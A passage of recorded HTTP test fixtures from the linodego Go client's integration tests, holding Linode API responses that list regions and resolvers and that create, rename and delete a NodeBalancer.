"Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46, 172.236.0.50, 172.236.0.47, 172.236.0.53, 172.236.0.52, 172.236.0.45, 172.236.0.49, 172.236.0.51, 172.236.0.54, 172.236.0.48", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23, 172.236.32.35, 172.236.32.30, 172.236.32.28, 172.236.32.32, 172.236.32.33, 172.236.32.27, 172.236.32.37, 172.236.32.29, 172.236.32.34", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 27}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:35:44 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-def","region":"ap-west","client_conn_throttle":20,"tags":null,"firewall_id":640272}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers method: POST response: body: '{"id": 767846, "label": "go-test-def", "region": "ap-west", "hostname": "172-105-45-226.ip.linodeusercontent.com", "ipv4": "172.105.45.226", "ipv6": "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "336" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:35:45 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-def_r"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/767846 method: PUT response: body: '{"id": 767846, "label": "go-test-def_r", "region": "ap-west", "hostname": "172-105-45-226.ip.linodeusercontent.com", "ipv4": "172.105.45.226", "ipv6": "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "338" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:35:45 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/767846 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:35:45 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestNodeBalancers_List.yaml000066400000000000000000000750041474652371000320110ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", 